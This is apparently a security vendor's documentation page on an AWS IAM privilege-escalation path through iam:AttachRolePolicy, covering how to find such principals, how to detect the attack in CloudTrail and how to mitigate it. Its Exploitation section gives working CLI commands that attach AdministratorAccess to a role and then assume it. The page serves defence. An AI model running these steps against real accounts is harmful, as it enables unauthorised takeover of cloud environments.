> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_attach_role_policy.md).

# AWS\_ATTACH\_ROLE\_POLICY

## Summary

|                            |                                           |
| -------------------------- | ----------------------------------------- |
| **Forestall ACL Alias**    | AWS\_ATTACH\_ROLE\_POLICY                 |
| **Edge Type**              | Attack Path                               |
| **Affected Object Types**  | IAM Users, IAM Roles, IAM Groups          |
| **Exploitation Certainty** | High                                      |
| **AWS IAM Action**         | `iam:AttachRolePolicy` on the target role |

## Description

A principal with `iam:AttachRolePolicy` can attach any managed policy to a target IAM role. That covers customer-managed and AWS-managed policies, including `AdministratorAccess`.

Once the policy is on the role, the attacker assumes the role, or gets a service or instance to assume it, and inherits whatever the role now grants.

A role that holds `iam:AttachRolePolicy` scoped to itself can escalate its own permissions.

The edge is `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_ATTACH_ROLE_POLICY]-> (TargetRole:AWSRole)`.

There is no precondition. Any role in the account that matches the resource ARN pattern is a valid target.

## Identification

```bash
# List principals with iam:AttachRolePolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'AttachRolePolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:AttachRolePolicy \
  --resource-arns "arn:aws:iam::*:role/*"
```

PowerShell (AWS Tools):

```powershell
Get-IAMAccountAuthorizationDetail -Filter Role | ForEach-Object {
    $_.AttachedManagedPolicies | Where-Object { $_.PolicyName -match "AttachRolePolicy" }
}
```

## Exploitation

```bash
# Step 1: Attach AdministratorAccess to the target role
aws iam attach-role-policy \
  --role-name <target-role> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Step 2: Assume the now-escalated role
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/<target-role> \
  --role-session-name escalation-session
```

## Mitigation

* Restrict `iam:AttachRolePolicy` to dedicated IAM administrators. Deny it for service roles and instance profiles.
* Use permission boundaries to cap what any role can do, whatever policy gets attached.
* Apply SCPs to block attachment of Tier-0 policies like `AdministratorAccess` and `IAMFullAccess` outside approved admin pipelines.
* Audit role trust policies so no unintended principal can assume a high-privilege role.

## Detection

| CloudTrail Event   | Description                              | Key Fields                                                                      |
| ------------------ | ---------------------------------------- | ------------------------------------------------------------------------------- |
| `AttachRolePolicy` | A managed policy was attached to a role  | `requestParameters.roleName`, `requestParameters.policyArn`, `userIdentity.arn` |
| `AssumeRole`       | A role was assumed after being escalated | `requestParameters.roleArn`, `userIdentity.arn`                                 |

Alert on `AttachRolePolicy` where `policyArn` is a Tier-0 policy, or where the same principal shows up in both `AttachRolePolicy` and a later `AssumeRole` for the same role.

## References

* [AWS IAM: AttachRolePolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachRolePolicy.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS Security Best Practices: Least Privilege](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege)